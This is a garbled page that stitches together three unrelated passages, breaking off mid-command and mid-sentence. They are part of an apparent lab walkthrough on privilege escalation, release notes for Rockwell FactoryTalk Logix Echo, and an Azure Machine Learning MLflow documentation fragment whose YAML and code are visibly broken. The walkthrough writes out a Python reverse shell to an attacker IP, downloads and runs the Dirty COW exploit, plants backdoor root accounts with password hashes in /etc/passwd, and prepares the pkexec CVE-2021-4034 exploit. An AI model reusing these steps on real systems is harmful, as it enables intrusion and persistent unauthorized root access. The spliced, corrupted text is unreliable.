Download echo machine

Our target machine. We will use a python2 reverse shell.vulnscript=/tmp/rev-shell.shLHOST=192.168.62.161LPORT=443echo """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("${LHOST}",${LPORT}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'""" >$vulnscriptchmod 755 /tmp/rev-shell.shcd /tmp./rev-shell.sh &On our Kali machine:12. Performed on 192.168.62.162 (victim machine, Metasploitable second reverse shell).Upgrade the second shell to an interactive Bash shell.python -c "import pty; pty.spawn('/bin/bash')"13. Performed on 192.168.62.162 (victim machine, Metasploitable first reverse shell).Download the exploit source code from Kalifile=dirtyLHOST=192.168.62.161LPORT=80files="${file}.c ${file}_x64"for file in $(echo $files); do wget -O /tmp/${file}; chmod 755 /tmp/${file}; done14. Performed on 192.168.62.162 (victim machine, Metasploitable first reverse shell).Compile the exploitcd /tmpgcc -pthread dirty.c -o dirty -lcryptchmod 755 dirty15. Performed on 192.168.62.162 (victim machine, Metasploitable first reverse shell).copy the original /etc/passwd to /tmpcp /etc/passwd /tmp16. Performed on 192.168.62.162 (victim machine, Metasploitable first reverse shell).If not done so already, upgrade current shell to an interactive shell.python -c 'import pty; pty.spawn("/bin/sh")'Execute the exploit (takes in total about 1–3 minutes)cd /tmp./dirtyPress ENTER at password question (blank password)Wait about 2/3 minutes for the exploit to complete.The exploit executed successfully. We can switch to root user 'firefart'.17. Performed on 192.168.62.162 (victim machine, Metasploitable first reverse shell).Switch to user firefart (no password)su firefartidWe continue some post-exploitation steps to add 2 extra root users.18. Performed on 192.168.62.162 (victim machine, Metasploitable first reverse shell).Add a new root user hacker1 (DES password ‘hacker’) and hacker2 (MD5-crypt password ‘hacker’) to the original /etc/passwd (/tmp/passwd)echo hacker1:UHRTHrsaEfHQ2:0:0:Hacker:/root:/bin/bash>>/tmp/passwdecho hacker2:\$1\$hacker\$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash>>/tmp/passwdchmod 644 /tmp/passwd19. Performed on 192.168.62.162 (victim machine, Metasploitable first reverse shell).Restore /etc/passwd and exit user firefart.cp /tmp/passwd /etc/passwdexit20. Performed on 192.168.62.162 (victim machine, Metasploitable second reverse shell).Switch now to backdoor users ‘hacker1’ or ‘hacker2’ (password ‘hacker’)su hacker1hacker1 is 'root'We have a root backdoor without using the exploit again!Local Privilege Escalation in polkit’s pkexec (CVE-2021–4034)CVE-2021–4034 is not a kernel vulnerability, but a vulnernability in the SUID root program pkexec (part of polkit).Qualys researchers have discovered a memory corruption vulnerability in pkexec of polkit, a SUID root program installed by default on all major Linux distributions. This easily exploitable vulnerability allows an unprivileged user to gain full root privileges on a vulnerable host by exploiting this vulnerability in a default configuration.Background information: affects all versions of pkexec since its first version in May 2009Victim 02 (Polkit)- Ubuntu 16.04 (x64)- IP-Address: 192.168.62.177- Kernel version: 4.4.0–21-generic21. Performed on 192.168.62.161 (attacker machine, Kali Linux).Download the polkit exploitcd /tmpgit clone Performed on 192.168.62.161 (attacker machine, Kali Linux).Create tar ball from source codecd /tmptar -zcvf CVE-2021–4034-source.gz CVE-2021–403423. Optional Performed on 192.168.62.161 (attacker machine, Kali Linux).Compile the polkit exploit (on Kali). Only perform this step if the exploit cannot be compiled locally.cd /tmp/CVE-2021–4034make24. Optional Performed on 192.168.62.161 (attacker machine, Kali Linux).Create tar ball from x64 compilation of the exploit.cd /tmptar -zcvf CVE-2021–4034.gz CVE-2021–403425. Performed on 192.168.62.177 (victim machine, Ubuntu 16.04).Download both tar balls from Kali.file='CVE-2021-4034.gz CVE-2021-4034-source.gz'LHOST=192.168.62.161LPORT=80files="${file}"for file in $(echo

Release Notes FactoryTalk Logix Echo Single Node Version 2.01.00 (released 12/2022)Catalog Number FactoryTalk Logix Echo Single Node These release notes describe version information for FactoryTalk Logix Echo Single Node, version 2.01.00 (released 12/2022). Requirements This release has the following requirements. System requirements for FactoryTalk Logix Echo version 2.01.00FactoryTalk Logix Echo works within the system requirements of all Rockwell Automation® software products.Hardware requirementsFactoryTalk Logix Echo has these minimum hardware requirements:2.2-GHz Intel® Core i3 or faster processor:At least one logical core for the operating systemAt least two logical cores for the base FactoryTalk Logix Echo applicationAt least one logical core per emulated controller instance; for best performance, two logical cores per emulated controller instanceAdditional logical cores dependent on additional software installed on the same workstation, server, or virtual machine Tip: Downloading projects simultaneously to many controllers while the system is under heavy load can cause errors. To improve simultaneous download performance, reduce the number of controllers or downloads, or add additional logical cores to the system. 8 GB of available memory:2 GB for software applications256 MB for each started emulated controller instance (up to 1 GB)4 GB of available storage space1-GB network adapter Tip: For best performance when using FactoryTalk Logix Echo in a virtual machine, take advantage of Intel® Virtualization Technologies. Software requirementsFactoryTalk Logix Echo requires the following software on the host computer:Operating systemFactoryTalk Logix Echo is tested on operating systems installed from original Microsoft® media only. FactoryTalk Logix Echo runs on the 64-bit versions of the following Windows® operating systems:Windows® 10 Professional and EnterpriseWindows 10 Enterprise 2021 LTSC (v21H2)Windows 11 Professional and EnterpriseWindows Server 2022 Standard and Datacenter EditionsWindows Server 2019 Standard and Datacenter Editions When you install FactoryTalk Logix Echo, these components are installed:FactoryTalk Logix Echo Service version 2.01.00Firmware packagesDashboard version 2.01.00This component is installed if you select it on the installer:SDK version 2.01.00This software is also available to install based on what is installed on the host computer:FactoryTalk® Services Platform v6.31.00FactoryTalk® Activation v5.00.11FactoryTalk® Diagnostics FactoryTalk® Alarms and Events v6.31.00 FactoryTalk® Linx v6.31.00 Features This release includes the following system features. System features for FactoryTalk Logix Echo version 2.01FactoryTalk® Logix Echo™ version 2.01.00 introduces these features:Create, modify, and delete GuardLogix 5580 emulated controllers as well as ControlLogix 5580 emulated controllers.Add multiple chassis to emulate multi-chassis environments.The FactoryTalk Logix Echo application programming interface (API) supports 32-bit and 64-bit applications. Known Anomalies in This Release This release has the following known anomalies. Deleting controllers during snapshot save can block creation of snapshots (1693247)When the FactoryTalk Logix Echo application saves or restores a snapshot, it puts the emulated controllers in the snapshot in co-simulation mode. If you restart or delete emulated controllers during saving or restoration of a snapshot, the controllers in the snapshot are stuck in co-simulation mode, and you cannot create or restore a snapshot using those controllers.To work around this issue, delete the controllers in the snapshot and re-add them in the FactoryTalk Logix Echo application. This anomaly first identified in the FactoryTalk Logix Echo application, version 2.01.00.This anomaly

Or models. For examples, see Log metrics, parameters, and files with MLflow.The following example shows a hello_world.py training routine that adds logging:# importsimport osimport mlflowfrom random import random# define functionsdef main(): mlflow.log_param("hello_param", "world") mlflow.log_metric("hello_metric", random()) os.system(f"echo 'hello world' > helloworld.txt") mlflow.log_artifact("helloworld.txt")# run functionsif __name__ == "__main__": # run main function main()The previous code example doesn't use mlflow.start_run() but if used, MLflow reuses the current active run. Therefore, you don't need to remove the mlflow.start_run() line if you migrate code to Azure Machine Learning.Ensure your job's environment has MLflow installedAll Azure Machine Learning curated environments already have MLflow installed. However, if you use a custom environment, create a conda.yaml file that has the dependencies you need, and reference the environment in your job.channels:- conda-forgedependencies:- python=3.8.5- pip- pip: - mlflow - azureml-mlflow - fastparquet - cloudpickle==1.6.0 - colorama==0.4.4 - dask==2023.2.0Configure the job nameUse the Azure Machine Learning jobs parameter display_name to configure the name of the run.Use the display_name property to configure the job.Azure CLIPython SDKTo configure the job, create a YAML file with your job definition in a job.yml file outside of the src directory.$schema: echo "hello world"environment: image: library/python:latesttags: hello: worlddisplay_name: hello-world-exampleexperiment_name: hello-world-exampledescription: |from azure.ai.ml import command, Environmentcommand_job = command( code="src", command="echo "hello world", environment=Environment(image="library/python:latest"), compute="cpu-cluster", display_name="hello-world-example")Make sure not to use mlflow.start_run(run_name="") inside your training routine.Submit the jobThe workspace is the top-level resource for Azure Machine Learning, providing a centralized place to work with all the Azure Machine Learning artifacts you create. Connect to the Azure Machine Learning workspace.Azure CLIPython